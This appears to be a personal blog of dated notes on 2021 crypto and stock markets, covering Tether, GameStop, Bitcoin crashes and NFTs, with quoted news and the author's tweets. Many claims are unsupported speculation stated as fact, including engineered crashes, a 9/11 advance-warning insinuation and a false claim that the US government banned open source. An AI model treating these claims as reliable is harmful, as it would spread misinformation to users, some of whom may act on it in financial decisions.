Crack in BTC FoundationDisclaimer.
I had no idea how far this page will bring me. Now, there is plenty of stuff written on this page and some stuff has pointers and some stuff does not have pointers. If you see some statement that does not have a pointer, pelase take into account that most likely the statement is based on some pragmatic thing that happened that day. Most of the times the 'thing' would be a script trading in financial markets simulators, or a piece of information from some public source. So when it looks like a speculative statement, usually it is not. There are some questionable statements, that can not be proved, but I don't think I'm placing any blame on any particular individual here, so should be no problem. Those are the notes for myself primarily.End of disclaimer. Jun 07 2021.
January 21 2021Crypto Crime Cartel: The end is nigh for Tether
Or how about when Tether went to great lengths to represent that each Tether (USDT) is backed 1:1 with the U.S. dollar, a position it maintained right up until the point where they had no other option to concede the truth by admitting - via sworn affidavit - that at best, each USDT is backed at a rate of 74%, and not even necessarily by pure U.S. dollars?Tether price manipulation
has become too big to fail. Bitcoin now finds itself a high tech manifestation of the very thing that Satoshi sought to address
The Bit Short: Inside Cryptos Doomsday Machine (Jan 14 2021)Ycombinator
In Short. Any bank with couple Bln $ can collapse the whole crypto ecosystem. The page says how.
To be crystal clear: every time you sell Tethers on Kraken, you are forcing Tether Ltd. to pay you in US dollars. If you can manage to sell enough Tethers for USD on Kraken, then Tether Ltd. will run out of dollars and this whole machine - which currently undergirds 70% of all crypto trading flows - will fall apart.
Updated: January 22 2021
The run of BTC was that *all* the crypto brokers on the planet were mandated to *convert* the Ripple holdings into BTC (hence forcing the demand for BTC! )This was my tweet from January 8.
BTC market cap: $700 Bln. ETH market cap: $149 Bln. LTC market cap: $11 Bln. XRP market cap: $21 Bln. It's dog eat dog. To fuel BTC run they *had* to kill somebody. XRP was the only "somebody" in the room who both had the money and had no protection at the same time.And another tweet from January 3.
Dec 17 - Coinbaise starts going public. Dec 22 - SEC attacks XRP. Dec 31 - Coinbase obeys to attack on XRP. Almost instantly XRP trading halted by (many) brokers (because they look at Coinbase). Jan 1 - crazy run by BTC and (of course!) ETH. *Exactly* as predicted by XRP's CEO.This is by Ripple's CEO : The SEC's Attack on Crypto in the United States (Dec 22 2020)
Updated: January 22 2021
There is 'explanation' why the Doomsday article should be ignored. The explantion is here: DanHeld
It starts with an image of a crazy dude. That's because this cycle of internet is based on pictures. It does *not* provide the URL to original article. And it does not really address several most important issues.
My tweet BTC vs EU vs US (Jan 27, 2021)
BTC is better defense from EU capital controls (it's also defense from US capital controls, but slightly less effective). That explains why BTC is basically illegal in Europe. Only select few hub companies in Europe are allowed to touch crypto. It's license to print money.I basically calculated percentages of the same explosion that happened today in the markets, and aftershock impact was distributed like this:EU : 40% US : 20% BTC : 30%
After Sec took out Ripple and Biden took out Keystone, the attack on Stock Exchange is unrollingMy tweet BTC attacks US stock market (Jan 27, 2021)It's clear what they are trying to do. They are trying to consume US stock market with proceeds they accumulated from BTC market. They attacked only one stock, though, so they don't really have that much ammo.Reddit makes AMC, GameStop stock go wild: This 'insane' 'Ponzi scheme' can't last Nasdaq CEO Suggests Halt to Trading to Allow Investors to 'Recalibrate Their Positions' After GameStop Surge
Bad journalizm. Should be "Nasdaq CEO explains implications of pump and dump". Problem is - Nasdaq CEO is using provocative wording! Is that stupidity, or malice?
January 28 2021
First it was bad journalizm. Now they are 'fixing' things in a way that can only piss off people. I can not belive this is first time Wall Street has to deal with Pump and Dump. Clearly something else is at play.Trump's buddy explains
January 29 2021
My tweetThey are trying to decentralize BTC. The funny doggie coin, the stock, the *whatever*. 4 years are over, time to present the value. A clip with a flying dog? That's the value? Interesting, how would they manage.
February 02 2021
My tweetParticular ports are being slowed down (not blocked). Exactly like one ex-European prime minister said.
In my case it basically destroys one highly-profitable (real-time) trading strategy. It is application-specific attack, not the broker-specific (I tested several brokers). Also - every other thing works (including in-browser trading). Baiscally, some real-time indicators are wiped out by this.
February 08 2021
Musk pumped BTC to new levels. Tesla buys $1.5 billion in bitcoin, sending its price soaring
Also found this: tweetThe GameStop Turducken of Scammery.... This is both amazingly amusing and also remarkably dangerous. So lets go through the layers.
February 09 2021
Found a way to drop 3 zeroes from original article.
There is still few zeroes to go, of course.
February 15 2021
Exposing The Robinhood Scam: Here's How Much Citadel Paid To Robinhood To Buy Your Orders
February 18 2021
Another Big Conflict Of Interest Emerges For Citadel Just Minutes Before The Congressional Hearing
Citadel is in trouble. I knew that months ago from one of their job postings in Europe - on one obscure University's job board.
February 21 2021
Found a way to drop another 3 zeroes from original article.
Problem is -
USA has no access to those mechanizmsIt does. Figured it out in March.
There is only one operational and it is clearly selective (because unregulated).
Gotta give to Switzerland. They did it again.
February 23 2021
Figured out the entire pipeline of exchanges, the beginning, the middle and the end. Original article (and the guy who called big short) provide some validation.
February 26 2021
I know only one guy of my level now, this is his website : http://forexmarketmaker.london/
I tried working with him, there was a good experiment my robots traded against his system.
You can ask him about the results, he is approachable.
We don't agree on some important moments in life, but his project is the strongest statement I've seen on the internetz regarding to Currencies and Central Banks.
Crypto is not currency and it has no public Central Bank behind it, so it's different. Still there are some similiarities.
February 26 2021
Figured out how to scale out liquidity of BTC times N.
If I can see it - somebody else will see it.
No, not Elon Musk. He is on ETH side of things.
February 27 2021
Please give us $15K and we will detonate millions of $
It is no joke actually. Most likely, these are the people, who brought trump to power.
They used stacked gold (expropriated) and UK exchanges for paper trading.
March 07 2021
Now I understand why people get out of finance. Once some things are figured out, finance is rather boring stuff.
The second portal to print money is in US. Owned by guess who? You guessed right.
March 10 2021
GameStop Just Collapsed After Topping Record Close
Saga of pump & dump of GME (which is now a desynthetic index play) is still unrolling, and the play is elegant. I had no name for it, so had to invent one. It's not really reverse indexing, it's the 'unindexing' in a way. They can not possibly do it for many stocks of course, but it's absolutely mathematically viable play for a single stock. I am amazed nobody on Wall St seems to understand this kind of play. Zerohedge article gives the idea, so maybe they understand.
March 12 2021
My tweet1. Gamestop is fintech virus of new generation. 2. Civilization is clearly not ready. 3. There is more coming. 4. Gamestop is only the first. Many others are possible with modern tooling.
March 14 2021
There is a *clear* marodeur component in BTC. It's not the primary one but it explains the growth.
Independently found this next day: Article on Miners
They're not connecting the dots, but provide the illustration.
Users of the forum have been taking exception with the "no cryptocurrency" rule speaks volumes. Some 'rules' there.
Also - one more tweet"Bitcoin is an engine for automatic execution of P2P payment transactions on public blockchain". "Ethereum is an engine for automatic execution of smart contracts on public blockchain".
Greenspan Put explained
March 17 2021
Wired article explains how lawyers can destroy bitcoin. I think that's the most credible threat. Lawyers can destroy anything.
My tweetLawyers can destroy bitcoin, yes. It will take some time, though. And it will not destroy the crypto ecosystem, which can switch to several other coins. So lawyers need to destroy *all* existing coins and all exchanges. To protect : build more exchanges. At least one is missing.
March 18 2021
One more tweetIf there is anybody here, who already has figured out ETH tooling and wants to move to the next level, I have a nice #Solidity blueprint that I would be glad to move to, say, #linkpool. email pault12 gmail
March 21 2021
Figured out the dumbest bully in crypto. Old trading rules still work.
The one everybody knows is "buy low and sell high". But that's positive rule.
There is one negative (and it's the most important one).
March 23 2021
On a positive note, there is a company now that any English speaking non-russian can bootstrap anywhere in the world.
The last piece was discovered today. By a non-russian, she just sent an email out and got all the answers.
It's supply chain blend with import export.
Figured out the dumbest bully. The US is re-adjusting and re-shuffling.
March 24 2021
My tweet#lendroid https://lendroid.com is one of the most beautiful things I've seen in many, many years. It aims very high. I think it will take the world a long time to catch up. They might have to integrate with some byzantine engine eventually.
March 25 2021
Uniswap is just ... there ... In Brooklyn. Unavoidable and intimidating.
March 26 2021
My tweetGot an update from important crypto broker. *Major* comotion is in the books for all existing exchanges. Some of them are regulated and some are not, right? May 1st is the deadline. Basically, I think lawyers are preparing at attack on (all) of exchanges. Coinbase was first.
US real estate can only go up. Gold is a time tested defence against inflation. Indexing is the only thing that works. Dollar is world's best currency. Past performance is not indicative of future results. Earth is flat.
Musk should sell more Teslas for BTC.
There is a simple way he can do that.
We will see next few months in this chart,
if all those years at PayPal taught him anything.
March 29 2021
My tweetNFTs are super cool. They don't know, but they build on Identicon. The impact of NFTs could be big. Basically, it blends pictures into (currently black and white) ledger. The thing Netscape did - they brought images to html.There was one idea I had aroud Paxful and other marketplaces, but there was no easy technology to implement. Now there is - it's NFTs
April 1 2021
"It's not all about the money, you know," he said in a rare interview with a Fuller Institute executive in 2018, in which he spoke about his calling as an investor and his Christian faith. "It's about the long term, and God certainly has a long-term view."One of World's Greatest Hidden Fortunes Is Wiped Out in Days
April 5 2021
When people talk about minig alliances, do they know which kind of alliances they are talking about?
Conventional mining? Crypto mining? Could there be a hybrid model? The transnational alliance, that spans cross verticals?
Funny thing. There are several. Information is openly available in wikipedia or on youtube.
No, there will be no links.
April 7 2021
Got a first question in 4 years that might make sense (from defi group just found today). Here is the answer.
The simplest - I can provide tradable indicator(s) for (any) crypto currency.
A bit better would be to blend them with multicharts, also there are many things around Solidity.
(Just porting subset of Solidity to BTC stack will be good enough).
Can do simple pooling also. Just need to find somebody outside norcal.
So in general. Simplest pragmatic moves on (any) DeFi:
2. Trading station.
3. Solidity subsets.
April 9 2021
Fugured out nice NFT angle.
Figured out how to use BTC ATM.
April 10 2021
Figured out ultimate approach to trading BTC. It's from the 70s. Who would have though.
Also: tether has 39 days left, or sell to show, or sell to get out
"You'd Have To Shut Down The Internet" To Ban Bitcoin, Says SEC's Hester Peirce
"The government would immediately wipe out $2 trillion in net wealth" - I don't think they care.
No, there is *no* need to shut down the internet to block bitcoin traffic.
Massive application-level blockade is possible, I've seen it earlier this year - documented it here (February 2)
Another nice thing from that article is this image:
It shows BTC as middle ground between USD and EUR. This corresponds to my calculations from January 27
I simplify things a *lot* of course, because leverage distorts the picture, of course. So should be accurate when calling "Crypto" BTC.
Having said that - they are all pegged to the same stuff.
And they're keeping the peg. It is *possible* to break the peg, but good luck breaking delicate flowers.
Another important article today. Things are getting hot.
Why Is The Bitcoin Curve So Steep... And Could A Bitcoin ETF Be The Worst Possible Thing For Crypto
But many institutional investors do not have access to Bitcoin, owing to concerns around custody, ambiguities around taxation and accounting, reputational risk and the origin of some tokens, and other potential issues." This is hilarious because back in December, when looking at the most recent Fund Manager survey, we said that Wall Street professionals were convinced that Bitcoin is becoming the most crowded trade on Wall Street, which as we said was impossible for the simple reason that most of these same "professionals" were not even involved in bitcoin. And now JPMorgan admits as much.
To people, who still don't understand. *Nobody* has access to Bitcoin. Except Miners and those, whom Miners allow access. Basically, it's like that petrodollar thingy, that goes on since 70s. Sanctions and stuff.Thats why : Peter Thiel: China Using Bitcoin as a "Financial Weapon"
April 11 2021.
Mathematics looks like a scam to people, who don't know it. And that's a *lot* of people.
LTC was not a scam
April 12 2021.
NFTs are just starting.
They can be used to replace every other crypto, they are superset.
That's why they cost millions. Early adoption → commoditization.
They are far from commoditization. It's a next gold mine in plain sight, like bitcoin was few years ago.
my tweetRegulated exchanges are joining the crypto show. This thing is going to bust. Nothing can possibly survive the size of leverage they are piling up. So the (only) question now is ... We are being set up for a series of "negative oil" explosions.
If my models are correct, stablecoins and NFTs will be the *only* possible antidote.
Most likely, we are entering the Chineese scenario in which exchange leaders move to some island.
After all the traders lose their shirts. Every month of something. I forgot how frequent they had it.
April 13 2021
Talked to this powerhouse, they offer fantastic tooling.
The powerhouse understands what I want to do with their software and they see no problem.
This is their product.
They have all the tools in the open.
Combining their tools with some other stuff (that already exists) it is possible to provide 10x of what they offer.
The numbers are from reality, there is a gap between two industries. ('old world' and 'new world')
April 14 2021
Game Over for Bullies
Game Over for cyberbullies. Their monopoly license to print money has been revoked as of today. (I only report things after they happen, predicting things is a sloppy business).
April 15 2021
Apple now holds the license. Question is for how long.
Update: They say "sorry, but we will keep destroying all this stuff here... thank you, idiots."
License not revoked. It is now shared.
Learned about this today. Pretty consistent.
'Big Short' trader Michael Burry quits Twitter
Investor Michael Burry may have deleted his entire Twitter account on Tuesday, a move that comes just weeks after the famous short-seller told his followers that his tweets about GameStop Corp. GME, -6.06% and other market trends had prompted a visit from the Securities and Exchange Commission.No followers - no problem.
April 17 2021
Iconic Retail Investor "Roaring Kitty" Doubles Down On Gamestop, Now Owns 200,000 Shares
Couple of Unknowns for the Home Gamers:
- Based on the Latest Screenshot, Headband Guy's break even is about $55 per share on his portfolio of 200,000 shares, which includes the 50000 shares he just optioned at $12 per share. Implying a $69.33 per share break even on the 150,000 non optioned shares.
- Where did Headband Guy get the additional funds to buy the total amount of 150000 shares at an average price of $69.33 per share? ($69.33*150000= $10,400,000)
- What is Headband Guy's total margin in this account or total portfolio margin?
There are some traders (in France and Japan) that are systematicaly losing money, but they stay in the trade still. There was at least one French dude actually got a large bonus for losing some large amounts. How is that possible? It's possible, because that's their job. (global) Trading is a bit more complex, than most people think. For example, every time Musk sells a Tesla, that makes some person in Singapore a little bit more happy. They might not even know why they are a bit happier. They might never know.
Greenspan Put (1987) introduced an insurance for any productive activity in USA (even it was stupid). That created an unbreakable business machine. Greenspan Age of Turbulence (2007) - which was +20 years - introduced another insurance so US financial industry is *still* unbreakable, even when the accumulated stupidity started to destroy the business machine. The dude is 95 y/o. Republican. Current cycle ends in 2027.
Price drop - 10% - I seen it in the making yesterday. I predicted it here Apr 12. I did *not* bet on that.
Will not destroy my approach, but a *lot* of people will be losing a *lot* of money now, because leveraged derivatives on BTC are now trading on *regulated* US exchanges as of last week.
I wonder how many brokers will stay alive next 4 years.
Broker's Dilemma they have is this:
1. Don't let crypto in == miss on *ton* of capital.
2. *Let* crypto in == get a margin call (Negative Oil Scenario. Robinhood GameStop Scenario)
April 18 2021
Law abiding citizen dilemma
There is now only one place on this planet where US citizens can legally make money on crypto.
Interestingly, by doing so, US citizens will be destroying the USA.
Bitcoin Crashes As Much As 15% Amid Unsubstantiated Report Of Money Laundering Crackdown
The market-wide crash has in $1.72 billion worth of long positions liquidated in just one hour alone. Expanding this range to 24-hours shows that 927,000 traders' positions worth nearly $10 billion were wiped off, with $68.73 million being the largest liquidation so far according to FX street.
The story says it was triggered by some twit or whatever. Reality is that market makers did it. (My engines captured that). This is how 'negative oil' looks like. (Traders lost, whales are 'ok', exchanges are 'ok', insiders made a killing)
April 19 2021
Tyler says: 40K
Where did the proceeds from BTC hit job went? Into FX they went.I will create a cryptocurrency like bitcoin for you
Trading financial instruments is *not* 50/50 game. Betting is also *not* 50/50 game. I am not sure if throwing the coin is 50/50 game. Maybe if a special coin flipping machine throws it. "Guildenstern and Rosencrantz are dead" talks about this in detail.
April 21 2021
The Bankers Are Coming! The Bankers Are Coming... For Your Bitcoin
"We regard Bitcoin and stablecoin as crypto assets ... These are investment alternatives," Li Bo, deputy governor of the PBOC, said on Sunday during a panel hosted by CNBC at the Boao Forum for Asia.
"They are not currency per se. And so the main role we see for crypto assets going forward, the main role is investment alternative" he added.
April 23 2021
Coinbase went IPO and Bitcoin lost 15% wiped out all the retail traders. Robinhood filed for IPO March 23. They don't yet have a ticker The day they get a ticker on NASDAQ would be an interesting day for US stock market. Which is not particularly sane.
April 24 2021
Now I understand why all the (recent) lunacy in trading.
Second wave of COVID will "level everything up" (like the first one did), so crazy gamblers are having a field day. Again.
Dozens Arrested After CEO Of Turkish Crypto Exchange Flees With $2 Billion
"One can establish a crypto exchange with just 50,000 liras (about $6,000) in capital," Oguz Evren Kilic, a lawyer representing Thodex users, said by phone. "There's a huge regulatory gap in this field."I predicted this : Apr 12
April 26 2021
Well, looks like crypto is now all grown up and has to find their own way. It looks like insider trading line from "old world" to "new world" had been disconnected, so the crypto market makers now will fly blind. Like everybody else. It's been interesting 4 years of insanity.
April 27 2021
My tweetBTC is pumped up by shorts. Who would have thought. This is sarcasm.
April 28 2021
"Somebody" is building a supreme weapon to wipe out USA and they are doing that on USA dime. In plain sight. Damn shame.
April 29 2021
My tweetAs per CME, the market cap of All Cryptos is equal to USD in circulation. The "astonishing jump" was Sep 2020 till now.My tweetCrypto *doubled* the amount of money in circulation on this planet, *but* most of it is in Asia! Mining is in Asia. Nothing in Middle East.
April 30 2021
My tweethttps://www.energi.world/about/ 1. Good currency has to be bootstrapped. 2. Good currency has to be forked. There are brilliant people around any tech.
May 02 2021
My tweetSo all those US regulated brokers are now going all in with gigantic gambling bets on crypto, but they don't allow you to deploy in crypto. You need to "go to your friendly banker". They're really lost at this point. I am using polite wording here.My tweetForex industry is in deep trouble. They somehow managed to miss the bubble the size of their industry.
What is forex anyway? A little layer above commodities one would say. Wiped out by crypto. Slight change in dynamics can wipe out any engine. Most of FX signal providers degrade in one year.
May 04 2021
Dogecoin hit .50
My tweetdogecoin is a *very* serious project. it's not funny at all, of course. it's a weapon, basically. and it works.
May 05 2021
For the ruined, Turkey's crypto crackdown comes too late
2. Confiscated gold
3. Polulation tries to protect with BTC (because unregulated)
4. Exhange owner miscalculates capacity.
5. 'Regulated' Citadel / Robinhood was simply bailed out.
6. Nobody can bail out crypto exhange that got margin call (15% drop of BTC was the margin call)
May 07 2021
Musk will *not* be pumping up another $1.5 Bln into BTC. The CFO of the largest hedge fund will do that now.
Watch: Elon Musk Calls Crypto "Speculation", Says People "Should Not Invest Their Life Savings" In It
CFO Of World's Largest Hedge Fund Quits To Join Bitcoin Company
Goldman Announces Formation Of New Crypto Trading Desk
The Rise Of Bitcoin Explains how Bitcoin works. In the middle it says "Let's fast forward from 2013 to 2020". Cute.
May 09 2021
I've been thinking should I publish this, but after watching (autism is not a joke) Musk on SNL, I decide to publish this. There is (at least) one more autistic person in NY in charge of humongous amounts of money and I also know several nearby, so this is a trend. Unfortunately. Bill Gates (who just got divorced) was another example of autistic person (formally) in control of large amounts of money. Not a good trend at all.Here is the article, that basically expalins last 12 years.
Russia, Iran, and A SWIFT Nuclear First Strike
I did not know Obama did that to the Swiss.
I knew they were really pissed off, but I could not understand why.
Now I understand.
The article is spot on.
And now the dollar in curculation == crypto in circulation.
The lesson : don't fuck up with the Swiss.
They (always) know their stuff.
And they are fighters.
May 10 2021
My tweetFrom today's session it is clear - crypto market makers are cornered, because they can not print Trillions of $ out of thin air (and they wasted 4 years of outstanding opportunity). Surely, some people got rich by scamming millions, but the real story of crypto only *begins* now.
May 12 2021
Massacre in crypto markets. I predicted it May 10.
Buterin moving millions of $
There is also some Musks stuff (Tesla will not accept BTC) but at this point it does not really matter much.
My money were stolen 4 years ago, so this is all not really affecting me.
It will affect indirectly. Hunger games stuff coming to USA.
May 14 2021
I now have 3 blueprints around NFTs. 1. One can combat online fraud around cryptocurrencies. 2. Another will re-format lending industry. 3. Third might re-format patent/IP industry. First cycle of blockchain only doubled the money supply. That was easy and done before (euro).The world seen nothing yet. Early days of the Internet.
May 16 2021
Agony of 'crypto influencers'.
Buterin is trying to uplift doge by doing the same trick he did for bitcoin.
It's basically (going down) Musk/Buterin duo vs Portnoy/I-forgot-his-name Bulgarian dude from Palo Alto.
What is the offering exactly? I kind of forgot by this time ... Ah, well. Maybe they offer nothing, really.410 trillion $shib coins burned by vitalik today. That equals out to 7 billion dollars. 40% of the whole supply burned FOREVER!!! $shiba #shibaarmy
May 18 2021
My tweetThe best crypto bot has winning rate of 36.7%So, burning billions of dollars did not help, heh?
Bitcoin below 40K, doge below 0.4 or whatever etc.
Crypto Twitter meltdown.
Hedge funds might have a field day. Value is still there, nobody is working on it. Yet.
May 19 2021
Everybody is shell shoked. But this is not the time to be.
Many companies got hit by 'negative oil' - it's a simple trick that whales use to destroy ordinary human beings (the idea is that the market is hit by 'impossible' event and brokers underestimate capacity they need to survive the margin call). After that event, regulated brokers are bailed out ( because 'too big to fail' ) and nobody else is bailed out. Because I live in USA, I am used to this kind of stuff, they do this to people very routinely ( 9/11 was one of those events, but it was highly visible at least ) - after that they learned to do this kind of stuff with less of a visual effects, but the idea is always the same. 1. They pile up everyone's money ( last 4 years the money supply in circulation has doubled - there is as much crypto in circulation as there is USD ). 2. They burn the pile down (but they don't burn the 'protected'). Why do you think those guys had to run away: https://twitter.com/phpae/status/1390196870895390721 they were no scammers most likely. There were some companies in the 9/11 building that were told not to come to work that day. Similarly this time there was a warning in advance: https://twitter.com/TylerDurden/status/1395032839515561986 I also gave a warning: https://twitter.com/phpae/status/1391883421400518657 Now back to the positive side. The opportunity is *huge* =================== *Everybody* is shell shocked and they will stay like that for a very long time. The *miners* are shell shocked also (they were *clearly* not planning on China ban and Tesla used as a scapegoat). Don't blame yourself. Many, many people were set up for this day for at least 4 years. Maybe longer. The real story of crypto only begins now. This is my twit from May 14 : https://twitter.com/phpae/status/1393446325761437699 Basically, everything I was writing here and in my twitter feed is being validated now.
May 20 2021
Money lost : $460.000.000.000
Estimate, of course.
estimate confirmed tweetI saw it with my own eyes. Dump happened 7 minutes before Musk's tweet and then 0.04T dollars vanished from global crypto market cap
May 21 2021
tweetLot's of crypto entities trying to do lots of damage control. PR people are facing an interesting challenge. How to explain to scammed people that they should be happy for a bunch of billionaires, who made a killing? Who does it best might be promoted to NY PR agencies, I guess.tweetUS fintech is hiring people, who can draw pretty pictures. Hong Kong fintech is hiring mathematicians. Who has better odds in next cycle?tweet Pope Francis (!) May 19 (!)
Technology based on the use of highly polluting fossil fuels needs to be replaced without delay. There is reason to hope that humanity at the dawn of the 21st century will be remembered for having generously shouldered its grave responsibilities.Actual numbers on energy consumption:
Bitcoin Energy Consumption: The world produces 160,000 TWh every year. 50,000 TWh is wasted. #Bitcoin uses 120 TWh.There is (of course) no rebound. BTC is below 40K.
Coordinated attack on the *only* way for people to protect from bankers.
tweetOn April 19 Tyler said $40K. On May 19 (one month later - exactly) Tyler *got* $40K. I don't blame Tyler.
May 23 2021
It is clear - they are trying to destroy free trade. ("No free trade" means war).
Goldman supports ETH, of course, etc etc. Free trade is being attacked from all corners.
How did our guys go? To serve in the red guard - To serve in the red guard - Lay down the riot! Eh you, grief-bitter, Sweet life! Torn coat, Austrian gun! We are on the woe to all bourgeois Let's fan the world fire World blood fire Lord bless!Google translate is getting rather good with old revolutionary poetry!
May 24 2021
tweetIf the plan is to burn down the dumbest 50% of crypto companies (and double the value of those, who remain operational) - the plan is working.Cryptos Soar After Musk, Saylor Speak To Bitcoin Miners, Will Standardize Energy Reporting
Nothing "soars", though.
May 25 2021
No jobs, no water, no electricity, 70000 criminals in the streets. It will be OK.
May 26 2021
Bitcoin DeFi is infrastructure. Currently there is only one integration point for entire planet. Just *one*. For the whole planet. Surely this point should be turned into 100s of integration points. There is no magic in *that*. Also - no magic in having a backup. 1->2->many.
May 29 2021
Gamblers don't know computing.
Computer (always) wins, until somebody splashes a beer into it.
And then you "won" but you got no computer.
There will be more altcoins. No other way to peg. No peg means no input/output. It's von Neumann architecture, check it out.
May 30 2021
Surveying the May 2021 Sell-off"Conversely, the balances of US-regulated exchanges Coinbase, Gemini, Kraken and Bitstamp have continued to decline with almost on meaningful impact on the trend throughout May"*Everybody* is running offshore. Guess why?
In general, I 100% agree with 50% of conclusion, but I 50% disagree with 50% of conclusion. Ra!JPM the Audacity of Bitcoin *Priceless*.
Jun 01 2021
tweetBecause nobody understood the gamestop trade, doge trade is now legit, of course. On Coinbase.Hit on BTC: 50%. Hit on DeFi: 30%
Jun 02 2021
tweetHODLers - destroyed by May 19. Traders - under attack after June 1st (via PA). Who is left? Miners are left. They lost HODLers and they are about to lose traders.tweetPA is messed up across all classes of assets. Only gamblers and miners think they might be "fine". And options traders of course. The usual. No production since how long now?
Jun 03 2021
tweetThe BTC stack is: miners / hodlers / traders / developers. The ETH bet is traders / developers. Effectively traders / developers are stacked against miners. That's dogma. Any stack that harmonizes miners / traders / developers will win. Hodlers will hold anything, they don't care.tweetAutomated ALTs are fine. As expected. ETH is the king of Automated ALTs.No water. I think maybe because of earthquake.
My bots had to survive through volcano eruption. True story. "Solidity".
tweetCrypto exchanges located outside USA are now openly encouraging people from USA to use VPN/Tor etc. How is this different from The Great Firewall? It is not. Duh.tweetUnited States, Balkans, Belarus, Myanmar, Ivory Coast, Crimea-Ukraine, Cuba, Democratic Republic of Congo, Iran, Iraq, Liberia, North Korea, Sudan, Syria, Venezuela, Zimbabwe, Hong Kong, and Mainland China. Guess what's in common? Sanctions on mining. As in - they are sanctioned *against*.
Jun 06 2021
Automated Alts are destroying the base enforcing shitty PA for index (only scalpers benefit). They are hedged, that's why.
Jun 07 2021
The GME dude is back since June 1st. Of course he is. And he is very clear in his messages.
Printing all the money since ... long time ... Was it such a good idea after all? It was not.
Then one should go back to gold standard and stuff. Or 4 years back. Or 12. Or 30. Can't live in the past.
One thing is obvious, the dude is the exact lookalike of the Robin Hood dude. So "Portnoy" is above them.
Jun 08 2021
There is only one crypto company on this planet that is staying cashflow positive these days.
If you don't know who they are - crypto might be not a good investment of your time.
The massacre of crypto continues, sure. Freedom. Is. Hard.
It is clear. DeFi industry are clowns.
There is only one contract they should be offering at this time and not one of them offers it.
This means they are clowns.
Jun 13 2021
tweetThere is (only?) (one) major problem with the world, that is driven by numbers from the tables. Everybody has the same tables.I had a fantastic conversation with commodities supertrader.
They exist, but they should not be allowed to talk to us, mortals.
Maybe there is no rules now after one year of superpandemic.
tweetSo all this Web 3.0 is because (banking) rails have no bounding curves. That is impressive. Equally impressive was Web 2.0, because Rails *had* round corners. Let's not forget xml:namespaces ( ':' written as '-' was SGML ). Little things have big consequences indeed.Just looked at DeFi again. Boy oh boy.
Jun 14 2021
The Coming 'Build Back Better' World
Meanwhile, in China there was also major inflation news Friday. Bloomberg stated "China Turns to Its Huge Commodity Reserves in Bid to Tame Prices", underlining Beijing will be using its stocks of commodities --soft to hard-- to cap prices, starting with aluminium, coal, copper, and zinc. China has also stated it will set up a temporary pork reserve system to keep a lid on that key "P" in CPI --along with corn, wheat, edible oil, and vegetables-- allowing the state to stockpile whenever domestic prices fall "excessively", and to sell when prices rise too high. In short, China is effectively trying to act as the global price setter of commodities to keep inflation in check.
Yet commodities are subject to global demand, and are priced in USD not CNY!
Beijing boosted the PBOC FX swap-line Ankara enjoys from $2.4bn to $6.0bn.
Jun 15 2021
Major updates from Cassandra on twitter.
Jun 16 2021
Bitcoin mining difficulty drops 5% after Xinjiang's miner shutdown
On-chain data shows the network's mining difficulty dropped to 19.8 trillion, a level not seen since early January.
Jun 17 2021
Biden administration now forbids the open source in USA, because private software will be "more secure". That is, of course, insane. Open source usually does not have backdoors or other crap like that, because people can see it in open source and remove crap. Private software is full of security problems. USA politicians after 2008 managed to officially destroy the best software development industry in the world. That industry was the only reason my generation came here. Now there is no reason for any person with brains to be here. Paradise lost.
Ironically, by this time I have a good idea where is the next frontier.
Jun 18 2021
tweet1. US citizens are not allowed to use leveraged trading on crypto. 2. All the software engineering crypto jobs are outside USA. 3. Biden administration just declared that Open Source is evil. Bill Gates says that for 30 years so not really surprising. RIP US technical sector.Bill Gates never liked that software thing anyways. He can not code. Never could.
The controversy over Bill Gates becoming the largest private farmland owner in the US
Jun 24 2021
Robinhood's IPO Plans Slowed By SEC Review
Jun 27 2021
Cryptocurrency Exchange Binance Banned In The UK everything in reverse now.
Jun 30 2021
Robinhood Pays $70 Million To Settle Allegations Of Manipulation, Opening Door To IPO
"It's one thing to know you're being front run and keep using Robinhood. It's another thing when they outright shut down trades in broad daylight, and coercively only permit selling of choice stocks to benefit their actual clients (Spoiler: not you). Unbelievable that Robinhood hasn't been sued out of existence yet. This fine is an insult."
Jul 02 2021
Surprisingly, figured out some stuff related to Esperanto (no less).
Jul 02 2021
Questions Swirl After Mysterious Drowning Death Of 41-Year-Old Bitcoin Billionaire
Crypto is a deadly video game. Especially for those, who (still) think it's a game.
With all the comotion of last few days, I forgot to mention one important update (maybe *the* most important update). Swiss closed their crypto gold mine. About the same time British said "we have no business with Binance". And that was the week McAfee died. And another dude died in Europe. The owner of "Black Pearl". We live in a f*cking movie.
British are saying "we will approach this virus thing as a flu".
Jul 03 2021
If (financial) weapon A beats (financial) weapon B the exact same way weapon A beats weapon C, most likely both B and C have the same origins.
Jul 08 2021
Wells Unexpectedly Shuts All Existing Personal Lines Of Credit, Hinting US Economy On The Edge
Jul 10 2021
go lang is a killer for erlang. erlang belongs to Sweden. so 'allmighty' google does not have golang running nicely on android. just *wow*. Sanctions indeed go strong in USA. US corporation that developed a language for mobile devices can not use their own language in their own devices. android-go "The android-go project aims to provide a platform (namely an SDK) for writing native Android apps in Go programming language". Popular in 2016, dropped in 2018.
Jul 11 2021
You can not 'win' if you don't play in the Casino.
You can not play in the Casino if you got no chips.
Yes, it's that dumb.
Jul 11 2021
There is this E programming language
with "Smart contracts" - abandoned in 2001.
Crockford did JSON. Which was based on XML rebellion.
So funny how this "progress" thingy works.
Jul 13 2021
China's Banned Bitcoin Miners Flee In Search Of Cheap Electricity
"All my money is gone,": he said, cursing as he chugged a beer. "Every day I'm losing money by not running those machines."
Hit on miners. I predicted this Jun 02.
Casino reversed the colors.
Jul 14 2021
Belt of Venus Agents Graduation
Northern Alliance - Female secret agents strengthened with prototype implants are trained and deployed behind enemy lines for covert operations.South African Army 'Activates' All Reserve Members Amid Worsening Social Unrest
Democrats Unveil Bill To Decriminalize (And Tax) Marijuana
Miami Mayor Says The US Should Consider Bombing Cuba
Brazil's Bolsonaro Hospitalized After Hiccupping For Over A Week
Jul 15 2021
The Grant Williams Podcast: Bennett Tomlin & George Noble
Beginnings of crypto exchanges.
Jul 17 2021
Segovia. Paco. Vidovic. Django.
Jul 19 2021
Ukraine Uncovers Country's Largest Illegal Mining Farm to Date
"Agents confiscated documentation on electricity consumption as well as notebooks, phones, and flash drives, the announcement detailed". That was Jul 10, 2021.
They knew of todays drop, most likely. Miners are getting margin calls now. First exchanges. Now miners. The top was $60K. Today BTC dropped below $30K. By this time *everybody* lost 50%, so only superexchanges and superminers and supertraders remain operational. Not only crypto is burning, of course. Dow tumbles 700 points for its worst drop since October as investors fear a Covid resurgence
Everything under stress. Tomorrow is Jul 20th. Some military stuff is about to be settled in Europe. There will be no link.
By the way - Coinbase has no token of their own. They also lost major bank recently. Some IPO that was. Still better than the other side, though. A bit more humane.
